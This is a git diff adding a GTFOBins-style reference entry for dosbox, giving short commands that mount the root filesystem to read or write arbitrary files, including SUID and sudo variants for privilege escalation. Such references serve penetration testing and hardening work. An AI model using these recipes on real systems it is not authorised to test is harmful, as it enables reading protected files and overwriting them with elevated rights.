diff --git a/_gtfobins/dosbox.md b/_gtfobins/dosbox.md new file mode 100644 index 0000000..656896a --- /dev/null +++ b/_gtfobins/dosbox.md @@ -0,0 +1,29 @@ +--- +description: Basically `dosbox` allows to mount the local file system, so that it can be altered using DOS commands. Note that the DOS filename convention ([8.3](https://en.wikipedia.org/wiki/8.3_filename)) is used. +functions: + file-read: + - description: The file content will be displayed in the DOSBox graphical window. + code: | + LFILE='\path\to\file_to_read' + dosbox -c 'mount c /' -c "type c:$LFILE" + - description: The file is copied to a readable location. + code: | + LFILE='\path\to\file_to_read' + dosbox -c 'mount c /' -c "copy c:$LFILE >c:\tmp\output" -c exit + cat '/tmp/OUTPUT' + file-write: + - description: Note that the name of the written file in the following example will be `FILE_TO_`. + code: | + LFILE='\path\to\file_to_write' + dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit + suid: + - description: Note that the name of the written file in the following example will be `FILE_TO_`. + code: | + LFILE='\path\to\file_to_write' + ./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit + sudo: + - description: Note that the name of the written file in the following example will be `FILE_TO_`. + code: | + LFILE='\path\to\file_to_write' + sudo dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit +---